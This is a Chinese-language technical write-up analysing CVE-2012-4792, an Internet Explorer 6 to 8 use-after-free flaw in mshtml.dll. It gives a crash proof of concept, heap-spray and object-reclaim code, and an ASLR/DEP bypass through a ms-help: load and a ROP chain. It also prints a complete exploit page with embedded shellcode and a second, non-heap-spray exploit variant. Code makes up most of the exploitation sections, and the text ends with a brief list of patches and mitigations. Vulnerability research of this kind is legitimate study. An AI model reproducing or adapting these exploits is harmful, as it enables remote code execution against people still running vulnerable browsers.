Internet Explorer漏洞分析(五)——CVE-2012-4792
字数 1586 2025-08-05 11:39:35
CVE-2012-4792 Internet Explorer Use-After-Free漏洞分析与利用
1. 漏洞概述
1.1 基本信息
- 漏洞编号: CVE-2012-4792
- 漏洞类型: 释放后重用(Use After Free)
- 影响范围: Microsoft Internet Explorer 6至8版本
- 漏洞影响: 远程代码执行(RCE)
- CVSS 2.0评分: 9.3 (高危)
- 修复方案: MS13-008安全更新
1.2 漏洞原理
mshtml.dll在处理CButton对象时存在缺陷,当释放CButton对象后,没有更新CDoc中Default Element对此地址的引用。导致后续CElement::FindDefaultElem函数会重新获取此已释放的内存地址,传递给CMarkup::OnLoadStatusDone函数使用,造成释放后重用漏洞。
2. 环境准备
2.1 测试环境
- 操作系统: Windows 7 Service Pack 1 x86
- IE版本: 8.0.7601.17514
- 关键DLL版本:
- mshtml.dll: 8.0.7601.17514
- jscript.dll: 5.8.7601.17514
2.2 分析工具
- 调试器(如Windbg)
- 进程监视工具
- JavaScript调试工具
3. 漏洞详细分析
3.1 POC分析
基础POC代码如下:
<!doctype html>
<html>
<head>
<script>
function exploit(){
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.createElement("div");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.innerHTML = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
}
</script>
</head>
<body onload="exploit()">
<form id="a"></form>
</body>
</html>
3.2 关键函数调用流程
-
DOM元素创建:
- 创建form、div、q和button元素
- 使用applyElement建立元素间关系
-
CTreeNode结构:
class CTreeNode{ public: CElement * element; CTreeNode * parent; BYTE _etag; // 0-7: element tag BYTE _fFirstCommonAncestorNode : 1; BYTE _fInMarkup : 1; BYTE _fInMarkupDestruction : 1; BYTE _fHasLookasidePtr : 2; BYTE _fBlockNess : 1; BYTE _fHasLayout : 1; BYTE _fUnused : 1; SHORT _iPF; SHORT _iCF; SHORT _iFF; CTreePos _tpBegin; CTreePos _tpEnd; DWORD unknow1; DWORD unknow2; DWORD unknow3; }; -
漏洞触发过程:
e1.appendChild(document.createElement('button'))将button设为Default Elemente2.innerHTML = ""清空Phrase内元素CollectGarbage()释放button元素但未更新CDoc中Default Element引用- 后续操作使用已释放内存导致崩溃
4. 漏洞利用技术
4.1 Heap Spray技术
4.1.1 内存占位方法
有两种主要方式可以占用已释放的CButton对象内存:
-
使用className属性:
for(var i = 0; i<0x50; i++) { arr_button[i]= document.createElement("button"); arr_button[i].className= junk.substring(0,(0x58-6)/2); } -
使用title属性:
for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); }
注意: 实际测试发现需要将(0x58-6)/2改为(0x58-2)/2才能正确占用0x58大小的堆块。
4.1.2 Heap Spray实现
var nops=unescape("%u9090%u9090");
while(nops.length<0x1000) nops+=nops;
var code =unescape("%u4141%u4141%u4141%u4141"); // 替换为实际shellcode
var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
while(shellcode.length<0x40000) {
shellcode+=shellcode;
}
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 500; i++)
heap_chunks[i] = block.substring(0,0x40000);
4.2 ASLR和DEP绕过
4.2.1 加载非ASLR模块
<SCRIPT language="JavaScript">
location.href = 'ms-help:'
</SCRIPT>
这会加载hxds.dll(位于C:\Program Files\Common Files\microsoft shared\Help\),该DLL未启用ASLR。
4.2.2 ROP链构造
使用hxds.dll中的gadgets构造ROP链,关键stack pivot地址:
- 0x51be4a41
- 0x51bd29c7
4.3 完整利用代码
<!doctype html>
<html>
<head>
<SCRIPT language="JavaScript">
location.href = 'ms-help:'
</SCRIPT>
<script>
var arr_div = new Array();
var junk=unescape("%u0b30%u0c0c");
while (junk.length < (0x100- 6)/2) { junk+=junk; }
var nops=unescape("%u9090%u9090");
while(nops.length<0x400) nops+=nops;
while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
nops+=unescape("%u198c%u51be");
var code =unescape(
"%u29c7%u51bd%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
"%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
"%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
"%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
"%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
"%u9090%u9090%ua8dc%u51bd"+ //ROP
"%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + //shellcode calc.exe
"%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
"%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
"%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
"%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
"%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +
"%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
"%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
"%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
"%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
"%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
"%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
"%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
"%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
"%ua4b3%u7851%u431a%u1bd2%u4162");
var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
while(shellcode.length<0x40000) { shellcode+=shellcode; }
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000);
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++) {
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-2)/2);
}
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a"></form>
<dfn id="b"></dfn>
</body>
</html>
4.4 非Heap Spray利用方法
来自"Happy New Year Analysis of CVE-2012-4792"的替代方案:
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
animvalues += animvalues
}
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
} catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm"></form>
</body>
</html>
5. 防护措施
- 官方修复: 安装Microsoft安全更新MS13-008
- 缓解措施:
- 启用增强保护模式(EPM)
- 启用DEP(数据执行保护)
- 启用ASLR(地址空间布局随机化)
- 使用EMET(增强缓解体验工具包)
- 临时解决方案: 禁用Active Scripting
6. 参考资料
- Microsoft Security Bulletin MS13-008
- CVE-2012-4792漏洞公告
- Happy New Year Analysis of CVE-2012-4792
- MSHTML.dll逆向工程资料